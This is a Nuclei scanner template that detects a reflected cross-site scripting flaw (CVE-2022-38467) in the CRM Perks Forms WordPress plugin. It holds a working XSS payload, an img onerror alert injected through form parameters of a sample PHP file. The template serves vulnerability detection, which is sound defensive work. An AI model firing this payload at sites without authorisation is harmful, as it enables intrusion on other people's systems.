nuclei-templates/http/cves/2022/CVE-2022-38467.yaml

37 lines
1.3 KiB
YAML

id: CVE-2022-38467
info:
name: CRM Perks Forms < 1.1.1 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not sanitise and escape some parameters from a sample file before outputting them back in the page, leading to Reflected Cross-Site Scripting
remediation: Fixed in version 1.1.1
reference:
- https://wpscan.com/vulnerability/4b128c9c-366e-46af-9dd2-e3a9624e3a53
- https://wordpress.org/plugins/crm-perks-forms/
- https://nvd.nist.gov/vuln/detail/CVE-2022-38467
classification:
cve-id: CVE-2022-38467
metadata:
verified: "true"
tags: crm-perks-forms,wpscan,cve,cve2022,wordpress,wp,wp-plugin,xss
http:
- raw:
- |
GET /wp-content/plugins/crm-perks-forms/readme.txt HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-content/plugins/crm-perks-forms/templates/sample_file.php?FirstName=<img%20src%20onerror=alert(document.domain)>&LastName=<img%20src%20onerror=alert(document.domain)>&%20Company=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_1, "CRM Perks Forms") && contains(body_2, "<img src onerror=alert(document.domain)>")'
condition: and